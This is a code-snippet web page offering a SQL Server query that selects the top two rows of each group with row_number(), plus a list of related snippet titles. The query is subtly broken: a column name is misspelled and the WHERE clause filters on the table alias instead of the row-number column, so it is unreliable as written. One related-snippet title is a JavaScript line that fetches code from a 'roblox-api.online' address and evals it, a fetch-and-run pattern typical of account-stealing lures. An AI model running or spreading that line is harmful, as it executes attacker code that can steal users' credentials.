/SQL/Sql server select top 2 of each group

Sql server select top 2 of each group

SELECT * FROM 
(
SELECT column1, 
column2,
cloumn3, 
row_number() over (PARTITION BY ColumnToGroupBy ORDER BY ColumnToOrderBy DESC) AS TempColumnName
FROM cities
) AS TempTableName
WHERE TempTableName <= 2

Source: silota.com

Similar codes

0 vote410 views1 answer
Sqlite display headers on columns
SQL
47 votes388 views6 answers
Add column mysql
SQL
6 votes346 views2 answers
Difference between join vs union
SQL
4 votes296 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
0 vote340 views2 answers
Faster mysql imports
SQL
0 vote317 views1 answer
MySql Modify Increment
SQL
0 vote371 views1 answer
New rails app with mysql
SQL
10 votes340 views2 answers
Select nextval from sequence oracle
SQL
0 vote314 views1 answer
Object Information
SQL
0 vote301 views1 answer
Drop check command
SQL